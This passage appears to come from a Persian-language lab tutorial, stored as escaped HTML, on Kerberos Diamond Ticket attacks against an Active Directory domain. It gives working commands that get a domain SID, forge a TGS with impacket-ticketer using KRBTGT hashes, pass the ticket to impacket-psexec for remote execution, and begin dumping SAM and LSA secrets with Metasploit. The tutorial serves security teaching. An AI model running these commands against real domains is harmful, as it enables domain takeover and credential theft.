                    \u062a\u0635\u0648\u06cc\u0631 \u0632\u06cc\u0631 \u0647\u0634\u200c\u0647\u0627\u06cc NTLM \u0648 AES \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u062d\u0633\u0627\u0628 \u0633\u0631\u0648\u06cc\u0633 KRBTGT \u0631\u0627 \u0646\u0645\u0627\u06cc\u0634 \u0645\u06cc\u200c\u062f\u0647\u062f.<\/span><\/p>\n
                    \u062f\u0631 \u06af\u0627\u0645 \u0628\u0639\u062f\u060c \u0634\u0646\u0627\u0633\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc (SID) \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631 admin1<\/em> \u0631\u0627 \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645.<\/span><\/p>\n
                    nxc ldap 192.168.1.48 -u admin1 -p Password@1 --get-sid<\/pre>\n
                    \"\"<\/p>\n
                    \u062a\u0648\u0644\u06cc\u062f \u0628\u0644\u06cc\u0637 \u062c\u0639\u0644\u06cc<\/strong> TGS <\/strong>\u0648 \u0633\u0627\u062e\u062a\u0627\u0631<\/strong> PAC <\/strong>\u062f\u0633\u062a\u200c\u06a9\u0627\u0631\u06cc\u200c\u0634\u062f\u0647<\/strong><\/span><\/p>\n
                    \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0631\u062d\u0644\u0647\u060c \u0645\u0647\u0627\u062c\u0645 \u06cc\u06a9 \u0628\u0644\u06cc\u0637 \u0633\u0631\u0648\u06cc\u0633 (TGS) \u062c\u0639\u0644\u06cc \u0628\u0631\u0627\u06cc \u06a9\u0627\u0631\u0628\u0631 admin1 \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u062f\u0627\u0631\u0627\u06cc \u0627\u0645\u062a\u06cc\u0627\u0632\u0627\u062a \u0627\u0631\u062a\u0642\u0627\u0621\u06cc\u0627\u0641\u062a\u0647 (Elevated Privileges) \u0648 \u0627\u0645\u0636\u0627\u06cc \u0645\u0639\u062a\u0628\u0631 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0628\u0644\u06cc\u0637 \u062c\u0639\u0644\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0633\u0627\u0632\u0648\u06a9\u0627\u0631\u0647\u0627\u06cc \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0645\u0627\u0646\u0646\u062f \u0627\u0639\u062a\u0628\u0627\u0631\u0633\u0646\u062c\u06cc PAC \u062a\u0648\u0633\u0637 \u06a9\u0646\u062a\u0631\u0644\u200c\u06a9\u0646\u0646\u062f\u0647 \u062f\u0627\u0645\u0646\u0647 (Domain Controller) \u0631\u0627 \u062f\u0648\u0631 \u0628\u0632\u0646\u062f.<\/span><\/p>\n
                    impacket-ticketer -request -impersonate admin1 -domain ignite.local -user rudra -password Password@1 -nthash 761688de884aff3372f8b9c53b2993c7 -aeskey '8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb' -domain-sid S-1-5-21-798084426-3415456680-3274829403 baduser<\/pre>\n
                    \u2019domain \u2018ignite.local- : \u00a0\u0645\u0634\u062e\u0635\u200c\u06a9\u0646\u0646\u062f\u0647 \u062f\u0627\u0645\u0646\u0647 \u0647\u062f\u0641 \u062c\u0647\u062a \u0627\u062c\u0631\u0627\u06cc \u062d\u0645\u0644\u0647 \u0627\u0633\u062a.<\/span><\/p>\n
                    \u2019user \u2018admin1- :\u00a0 \u0646\u0627\u0645 \u06a9\u0627\u0631\u0628\u0631\u06cc \u06a9\u0647 \u0628\u0644\u06cc\u0637 \u062c\u0639\u0644\u06cc \u0628\u0631\u0627\u06cc \u0622\u0646 \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc\u200c\u0634\u0648\u062f.<\/span><\/p>\n
                    \u2019password \u2018Password@1- :\u00a0 \u0631\u0645\u0632 \u0639\u0628\u0648\u0631 \u06a9\u0627\u0631\u0628\u0631\u060c \u06a9\u0647 \u0628\u0631\u0627\u06cc \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062c\u0647\u062a \u062a\u0648\u0644\u06cc\u062f PAC \u06cc\u0627 \u0628\u0644\u06cc\u0637 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f (\u0627\u06af\u0631\u0686\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0631\u0645\u0632 \u0639\u0628\u0648\u0631 \u062f\u0631 \u062d\u0645\u0644\u0627\u062a Silver Ticket \u0645\u0631\u0633\u0648\u0645 \u0646\u06cc\u0633\u062a).<\/span><\/p>\n
                    nthash and -aesKey- : \u0627\u06cc\u0646 \u0645\u0642\u0627\u062f\u06cc\u0631 \u0645\u062a\u0639\u0644\u0642 \u0628\u0647 \u062d\u0633\u0627\u0628 KRBTGT \u0647\u0633\u062a\u0646\u062f \u0648 \u062f\u0631 \u062d\u0645\u0644\u0627\u062a Diamond Ticket \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632\u0646\u062f. \u0627\u0632 \u0627\u06cc\u0646 \u06a9\u0644\u06cc\u062f\u0647\u0627 \u0628\u0631\u0627\u06cc \u0627\u0645\u0636\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u200c\u0634\u062f\u0647 \u0648 \u0627\u0639\u062a\u0628\u0627\u0631\u0633\u0646\u062c\u06cc \u0628\u0644\u06cc\u0637 \u062c\u0639\u0644\u06cc \u0633\u0631\u0648\u06cc\u0633 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f.<\/span><\/p>\n
                    domain-sid \u2018S-1-5-21-798084426-3415456680-3274829403\u2019- : \u0634\u0646\u0627\u0633\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc \u062f\u0627\u0645\u0646\u0647 (SID) \u0628\u0631\u0627\u06cc \u0633\u0627\u062e\u062a PAC \u0636\u0631\u0648\u0631\u06cc \u0627\u0633\u062a \u0648 \u0634\u0627\u0645\u0644 \u0627\u0637\u0644\u0627\u0639\u0627\u062a\u06cc \u0646\u0638\u06cc\u0631 \u0633\u0637\u0648\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u06a9\u0627\u0631\u0628\u0631 \u0648 \u0639\u0636\u0648\u06cc\u062a \u062f\u0631 \u06af\u0631\u0648\u0647\u200c\u0647\u0627 \u0645\u06cc\u200c\u0628\u0627\u0634\u062f.<\/span><\/p>\n
                    Admin1:\u00a0 \u0645\u0634\u062e\u0635\u200c\u06a9\u0646\u0646\u062f\u0647 Service Principal Name (SPN) \u06cc\u0627 \u0646\u0627\u0645 \u06a9\u0627\u0631\u0628\u0631\u06cc\u200c\u0627\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0645\u0647\u0627\u062c\u0645 \u0642\u0635\u062f \u062c\u0639\u0644 \u0647\u0648\u06cc\u062a \u0622\u0646 \u0631\u0627 \u062f\u0627\u0631\u062f\u060c \u062a\u0627 \u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0628\u0627 \u0646\u0627\u0645 “baduser” \u0628\u0647 \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc \u06cc\u0627\u0628\u062f.<\/span><\/p>\n
                    \"\"<\/p>\n
                    Pass-the-Ticket<\/strong><\/span><\/p>\n
                    \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0631\u062d\u0644\u0647\u060c \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0645\u062a\u063a\u06cc\u0631 \u0645\u062d\u06cc\u0637\u06cc \u0632\u06cc\u0631\u060c \u0628\u0647 \u0633\u06cc\u0633\u062a\u0645 \u0627\u0639\u0644\u0627\u0645 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0628\u0631\u0627\u06cc \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0627\u0632 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u06a9\u0634 \u0627\u0639\u062a\u0628\u0627\u0631\u0646\u0627\u0645\u0647 Kerberos \u062e\u0627\u0635 (\u0628\u0627 \u0646\u0627\u0645 baduser.ccache) \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u062f:<\/span><\/p>\n
                    export KRB5CCNAME=baduser.ccache<\/span><\/p>\n
                    \u0627\u06cc\u0646 \u0631\u0648\u0634 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0648\u0627\u0631\u062f \u06a9\u0631\u062f\u0646 \u0631\u0645\u0632 \u0639\u0628\u0648\u0631\u060c \u0627\u0632 \u0628\u0644\u06cc\u0637 Kerberos \u062c\u0639\u0644\u06cc \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u062f.<\/span><\/p>\n
                    \u0641\u0627\u06cc\u0644 baduser.ccache \u0634\u0627\u0645\u0644 \u0628\u0644\u06cc\u0637\u200c\u0647\u0627\u06cc Kerberos \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0628\u0627 \u0646\u0627\u0645 baduser \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647\u200c\u0627\u062d\u062a\u0645\u0627\u0644 \u0632\u06cc\u0627\u062f \u0634\u0627\u0645\u0644 \u0628\u0644\u06cc\u0637 \u0633\u0631\u0648\u06cc\u0633 (TGS) \u0628\u0631\u0627\u06cc \u0645\u0646\u0628\u0639 \u0647\u062f\u0641 \u0646\u06cc\u0632 \u0645\u06cc\u200c\u0628\u0627\u0634\u062f.<\/span><\/p>\n
                    \u0627\u0632 \u0627\u06cc\u0646 \u0641\u0627\u06cc\u0644 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0628\u0631\u0627\u06cc \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0648 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0633\u0631\u0648\u06cc\u0633\u060c \u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u06a9\u0627\u0631\u0628\u0631 baduser \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u061b \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0648\u0627\u0631\u062f \u06a9\u0631\u062f\u0646 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0648\u0627\u0642\u0639\u06cc.<\/span><\/p>\n
                    export KRB5CCNAME=baduser.ccache\r\nimpacket-psexec ignite.local\/admin1@dc.ignite.local -dc-ip 192.168.1.48 -target-ip 192.168.1.48 -k -no-pass\r\n<\/pre>\n
                    impacket-psexec<\/strong><\/span><\/p>\n
                    \u0627\u0628\u0632\u0627\u0631\u06cc \u0627\u0632 \u0645\u062c\u0645\u0648\u0639\u0647 Impacket \u0627\u0633\u062a \u06a9\u0647 \u0627\u0632 \u067e\u0631\u0648\u062a\u06a9\u0644 SMB (Server Message Block) \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0628\u0647\u200c\u0635\u0648\u0631\u062a \u0631\u0627\u0647\u200c\u062f\u0648\u0631 \u0628\u0631 \u0631\u0648\u06cc \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/span>
                    \n\u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0627\u0645\u06a9\u0627\u0646 \u0627\u062c\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0628\u0627 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0627\u0644\u0627 \u0631\u0627 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a Kerberos \u06cc\u0627 NTLM \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u0633\u0627\u0632\u062f \u0648 \u0627\u063a\u0644\u0628 \u062f\u0631 \u0633\u0646\u0627\u0631\u06cc\u0648\u0647\u0627\u06cc Post-Exploitation \u0648 \u062d\u0645\u0644\u0627\u062a \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 Pass-the-Ticket \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f.<\/span><\/p>\n
                    \u062a\u062d\u0644\u06cc\u0644 \u0646\u0627\u0645 \u0627\u0635\u0644\u06cc<\/strong> Kerberos (Kerberos Principal Name)<\/strong><\/span><\/p>\n
                    ignite.local\/baduser@dc.ignite.local<\/span>
                    \n\u0627\u06cc\u0646 \u0631\u0634\u062a\u0647 \u0646\u0645\u0627\u06cc\u0627\u0646\u06af\u0631 \u06cc\u06a9 \u0646\u0627\u0645 \u0627\u0635\u0644\u06cc Kerberos (Kerberos Principal Name) \u062f\u0631 \u0642\u0627\u0644\u0628 user@realm \u0627\u0633\u062a \u06a9\u0647 \u0628\u0631\u0627\u06cc \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u062f\u0631 \u0645\u062d\u06cc\u0637 Kerberos \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f.<\/span><\/p>\n
                    \u0627\u062c\u0632\u0627\u06cc \u0627\u06cc\u0646 \u0646\u0627\u0645 \u0628\u0647\u200c\u0635\u0648\u0631\u062a \u0632\u06cc\u0631 \u062a\u0641\u0633\u06cc\u0631 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f:<\/span><\/p>\n
                      \n
                    • ignite.local: \u0646\u0627\u0645 \u062f\u0627\u0645\u0646\u0647 (Domain) \u062f\u0631 \u0645\u062d\u06cc\u0637 Active Directory \u0627\u0633\u062a \u06a9\u0647 \u06a9\u0627\u0631\u0628\u0631 \u0628\u0647 \u0622\u0646 \u062a\u0639\u0644\u0642 \u062f\u0627\u0631\u062f.<\/span><\/li>\n
                    • baduser: \u0646\u0627\u0645 \u06a9\u0627\u0631\u0628\u0631\u06cc (Username) \u0627\u0633\u062a \u06a9\u0647 \u0641\u0631\u0622\u06cc\u0646\u062f \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0631\u0627 \u0622\u063a\u0627\u0632 \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/span><\/li>\n
                    • dc.ignite.local: \u0646\u0627\u0645 \u0645\u06cc\u0632\u0628\u0627\u0646 (Hostname) \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u06a9\u0646\u062a\u0631\u0644\u200c\u06a9\u0646\u0646\u062f\u0647 \u062f\u0627\u0645\u0646\u0647 (Domain Controller) \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0628\u0647 \u0622\u0646 \u0627\u0631\u0633\u0627\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a.<\/span><\/li>\n<\/ul>\n
                      \u067e\u0627\u0631\u0627\u0645\u062a\u0631 -dc-ip 192.168.1.48<\/span><\/p>\n
                      \u0627\u06cc\u0646 \u067e\u0627\u0631\u0627\u0645\u062a\u0631\u060c \u0622\u062f\u0631\u0633 IP \u06a9\u0646\u062a\u0631\u0644\u200c\u06a9\u0646\u0646\u062f\u0647 \u062f\u0627\u0645\u0646\u0647 (Domain Controller) \u0631\u0627 \u0645\u0634\u062e\u0635 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u062f\u0631 \u0627\u06cc\u0646 \u0645\u062b\u0627\u0644\u060c \u0645\u0642\u062f\u0627\u0631 \u06f1\u06f9\u06f2\u066b\u06f1\u06f6\u06f8\u066b\u06f1\u066b\u06f4\u06f8 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0645\u0642\u0635\u062f \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc Kerberos \u0648 \u0633\u0627\u06cc\u0631 \u062a\u0639\u0627\u0645\u0644\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u062f\u0631 \u0646\u0638\u0631 \u06af\u0631\u0641\u062a\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a.<\/span><\/p>\n
                      \u067e\u0627\u0631\u0627\u0645\u062a\u0631 <\/strong>-target-ip 192.168.1.48<\/strong><\/span><\/p>\n
                      \u0627\u06cc\u0646 \u067e\u0627\u0631\u0627\u0645\u062a\u0631 \u0622\u062f\u0631\u0633 IP \u0633\u0627\u0645\u0627\u0646\u0647 \u0647\u062f\u0641 (Target System) \u0631\u0627 \u0645\u0634\u062e\u0635 \u0645\u06cc\u200c\u06a9\u0646\u062f\u061b \u06cc\u0639\u0646\u06cc \u0633\u06cc\u0633\u062a\u0645\u06cc \u06a9\u0647 \u0641\u0631\u0645\u0627\u0646 \u06cc\u0627 \u0639\u0645\u0644\u06cc\u0627\u062a \u0645\u062f\u0646\u0638\u0631 \u0642\u0631\u0627\u0631 \u0627\u0633\u062a \u0631\u0648\u06cc \u0622\u0646 \u0627\u062c\u0631\u0627 \u0634\u0648\u062f.<\/span>
                      \n\u062f\u0631 \u0627\u06cc\u0646 \u0645\u062b\u0627\u0644\u060c \u0622\u062f\u0631\u0633 IP \u0628\u0631\u0627\u0628\u0631 \u0628\u0627 \u06f1\u06f9\u06f2\u066b\u06f1\u06f6\u06f8\u066b\u06f1\u066b\u06f4\u06f8 \u0627\u0633\u062a \u06a9\u0647 \u0647\u0645\u0627\u0646 \u06a9\u0646\u062a\u0631\u0644\u200c\u06a9\u0646\u0646\u062f\u0647 \u062f\u0627\u0645\u0646\u0647 (Domain Controller) \u0646\u06cc\u0632 \u0645\u06cc\u200c\u0628\u0627\u0634\u062f<\/span><\/p>\n
                      \u067e\u0627\u0631\u0627\u0645\u062a\u0631 <\/strong>-k<\/strong><\/span><\/p>\n
                      \u0627\u06cc\u0646 \u06af\u0632\u06cc\u0646\u0647 \u0645\u0634\u062e\u0635 \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a Kerberos \u0628\u0647 \u062c\u0627\u06cc NTLM \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0631\u0627\u0631 \u06af\u06cc\u0631\u062f.<\/span>
                      \n\u0628\u0627 \u0641\u0639\u0627\u0644\u200c\u0633\u0627\u0632\u06cc \u0627\u06cc\u0646 \u067e\u0627\u0631\u0627\u0645\u062a\u0631\u060c \u0627\u0628\u0632\u0627\u0631 \u0645\u0631\u0628\u0648\u0637\u0647 \u0628\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc Kerberos \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u0631\u0627 \u0627\u0632 \u062d\u0627\u0641\u0638\u0647 \u06a9\u0634 \u0645\u0634\u062e\u0635\u200c\u0634\u062f\u0647 \u062f\u0631 \u0645\u062a\u063a\u06cc\u0631 \u0645\u062d\u06cc\u0637\u06cc KRB5CCNAME \u0628\u0627\u0632\u06cc\u0627\u0628\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f \u0648 \u0627\u0632 \u0622\u0646\u200c\u0647\u0627 \u0628\u0631\u0627\u06cc \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u0646\u0645\u0627\u06cc\u062f.<\/span><\/p>\n
                      \u067e\u0627\u0631\u0627\u0645\u062a\u0631 <\/strong>no-pass<\/strong><\/span><\/p>\n
                      \u0627\u06cc\u0646 \u06af\u0632\u06cc\u0646\u0647 \u0628\u0647 \u0627\u0628\u0632\u0627\u0631 \u0627\u0639\u0644\u0627\u0645 \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u0646\u06cc\u0627\u0632\u06cc \u0628\u0647 \u0648\u0627\u0631\u062f \u06a9\u0631\u062f\u0646 \u06af\u0630\u0631\u0648\u0627\u0698\u0647 \u0646\u06cc\u0633\u062a\u060c \u0632\u06cc\u0631\u0627 \u0641\u0631\u0622\u06cc\u0646\u062f \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0628\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc Kerberos \u0630\u062e\u06cc\u0631\u0647\u200c\u0634\u062f\u0647 \u062f\u0631 \u06a9\u0634 (Credential Cache) \u0627\u0646\u062c\u0627\u0645 \u062e\u0648\u0627\u0647\u062f \u0634\u062f.<\/span>
                      \n\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u067e\u0627\u0631\u0627\u0645\u062a\u0631 \u062f\u0631 \u0633\u0646\u0627\u0631\u06cc\u0648\u0647\u0627\u06cc\u06cc \u0631\u0627\u06cc\u062c \u0627\u0633\u062a \u06a9\u0647 \u0628\u0644\u06cc\u062a\u200c\u0647\u0627 \u0627\u0632 \u067e\u06cc\u0634 \u062f\u0631\u06cc\u0627\u0641\u062a \u0634\u062f\u0647\u200c\u0627\u0646\u062f (\u0645\u062b\u0644\u0627\u064b \u0627\u0632 \u0637\u0631\u06cc\u0642 kinit \u06cc\u0627 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc \u0645\u0634\u0627\u0628\u0647) \u0648 \u06a9\u0627\u0631\u0628\u0631 \u0642\u0635\u062f \u062f\u0627\u0631\u062f \u0628\u062f\u0648\u0646 \u062a\u0639\u0627\u0645\u0644 \u062a\u0639\u0627\u0645\u0644\u06cc (non-interactive) \u0639\u0645\u0644\u06cc\u0627\u062a \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f.<\/span><\/p>\n
                      \"\"<\/p>\n
                      Metasploit<\/strong><\/h2>\n
                      \u0627\u06cc\u0646 \u062a\u06a9\u0646\u06cc\u06a9 \u062f\u0631 Metasploit \u0627\u0645\u06a9\u0627\u0646 \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0647\u0634\u200c\u0647\u0627\u06cc SAM\u060c \u0631\u0627\u0632\u0647\u0627\u06cc LSA \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0627\u0639\u062a\u0628\u0627\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u06a9\u0634\u200c\u0634\u062f\u0647 (Cached Credentials) \u0631\u0627 \u0627\u0632 \u0633\u06cc\u0633\u062a\u0645\u200c\u0639\u0627\u0645\u0644 \u0648\u06cc\u0646\u062f\u0648\u0632\u06cc \u0647\u062f\u0641 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u0633\u0627\u0632\u062f\u2014\u0622\u0646 \u0647\u0645 \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0627\u062c\u0631\u0627\u06cc \u0647\u06cc\u0686 \u0639\u0627\u0645\u0644 (Agent) \u06cc\u0627 \u06a9\u062f \u0645\u062e\u0631\u0628 \u0628\u0647\u200c\u0635\u0648\u0631\u062a \u0645\u062d\u0644\u06cc \u0628\u0631 \u0631\u0648\u06cc \u0645\u0627\u0634\u06cc\u0646 \u0647\u062f\u0641.<\/span><\/p>\n
                      \u0646\u062d\u0648\u0647 \u0639\u0645\u0644\u06a9\u0631\u062f<\/strong>:<\/strong><\/span><\/p>\n
                      \u0627\u06cc\u0646 \u0631\u0648\u0634 \u0628\u0627 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u062a\u0648\u0635\u06cc\u0641\u200c\u06af\u0631 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06a9\u0644\u06cc\u062f \u0631\u062c\u06cc\u0633\u062a\u0631\u06cc (Registry Key Security Descriptor) \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u0634\u0648\u062f.<\/span>
                      \n\u0645\u0647\u0627\u062c\u0645 \u0627\u0632 \u0633\u0637\u062d \u062f\u0633\u062a\u0631\u0633\u06cc WriteDACL \u06a9\u0647 \u0628\u0647\u200c\u0637\u0648\u0631 \u067e\u06cc\u0634\u200c\u0641\u0631\u0636 \u062a\u0648\u0633\u0637 \u0627\u0639\u0636\u0627\u06cc \u06af\u0631\u0648\u0647 Local Administrators \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u0627\u0633\u062a\u060c \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f \u062a\u0627 \u0628\u0647\u200c\u0635\u0648\u0631\u062a \u0645\u0648\u0642\u062a \u062f\u0633\u062a\u0631\u0633\u06cc \u062e\u0648\u0627\u0646\u062f\u0646 (Read Access) \u0628\u0631\u0627\u06cc \u062e\u0648\u062f \u0627\u06cc\u062c\u0627\u062f \u0646\u0645\u0627\u06cc\u062f.<\/span><\/p>\n
                      \u0628\u0647 \u0627\u06cc\u0646 \u062a\u0631\u062a\u06cc\u0628\u060c \u0627\u0628\u0632\u0627\u0631 \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u062f\u0631 \u0633\u06cc\u0633\u062a\u0645 \u0647\u062f\u0641 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0641\u0627\u06cc\u0644\u200c\u0647\u0627\u06cc \u062d\u0633\u0627\u0633 \u0645\u0627\u0646\u0646\u062f:<\/span><\/p>\n
                        \n
                      • SAM (Security Accounts Manager)<\/span><\/li>\n
                      • SYSTEM<\/span><\/li>\n
                      • SECURITY<\/span><\/li>\n<\/ul>\n
                        \u0631\u0627 \u062e\u0648\u0627\u0646\u062f\u0647 \u0648 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646\u060c \u0631\u0645\u0632\u0647\u0627\u06cc \u0639\u0628\u0648\u0631 \u0647\u0634\u200c\u0634\u062f\u0647\u060c \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0648 \u0633\u0627\u06cc\u0631 \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0645\u0647\u0645 \u0631\u0627 \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u06a9\u0646\u062f.<\/span><\/p>\n
                        \u0634\u0631\u062d \u062f\u0642\u06cc\u0642 \u0628\u0647\u200c\u0635\u0648\u0631\u062a \u0632\u06cc\u0631 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f<\/strong>:<\/strong><\/span><\/p>\n
                        \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc \u0647\u062f\u0641<\/strong> (Target Setup)<\/strong><\/span><\/p>\n
                        \u062f\u0631 \u0627\u06cc\u0646 \u0628\u062e\u0634\u060c \u0645\u0642\u0627\u062f\u06cc\u0631 \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u062d\u0645\u0644\u0647 \u06cc\u0627 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u06a9\u0646\u062a\u0631\u0644\u200c\u06a9\u0646\u0646\u062f\u0647 \u062f\u0627\u0645\u0646\u0647 \u0645\u0634\u062e\u0635 \u0634\u062f\u0647\u200c\u0627\u0646\u062f:<\/span><\/p>\n
                        RHOST = 192.168.1.48 : \u0622\u062f\u0631\u0633 IP \u0645\u0627\u0634\u06cc\u0646 \u0647\u062f\u0641 \u2014 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627\u060c \u06a9\u0646\u062a\u0631\u0644\u200c\u06a9\u0646\u0646\u062f\u0647 \u062f\u0627\u0645\u0646\u0647 (Domain Controller) \u0627\u0633\u062a.<\/span><\/p>\n
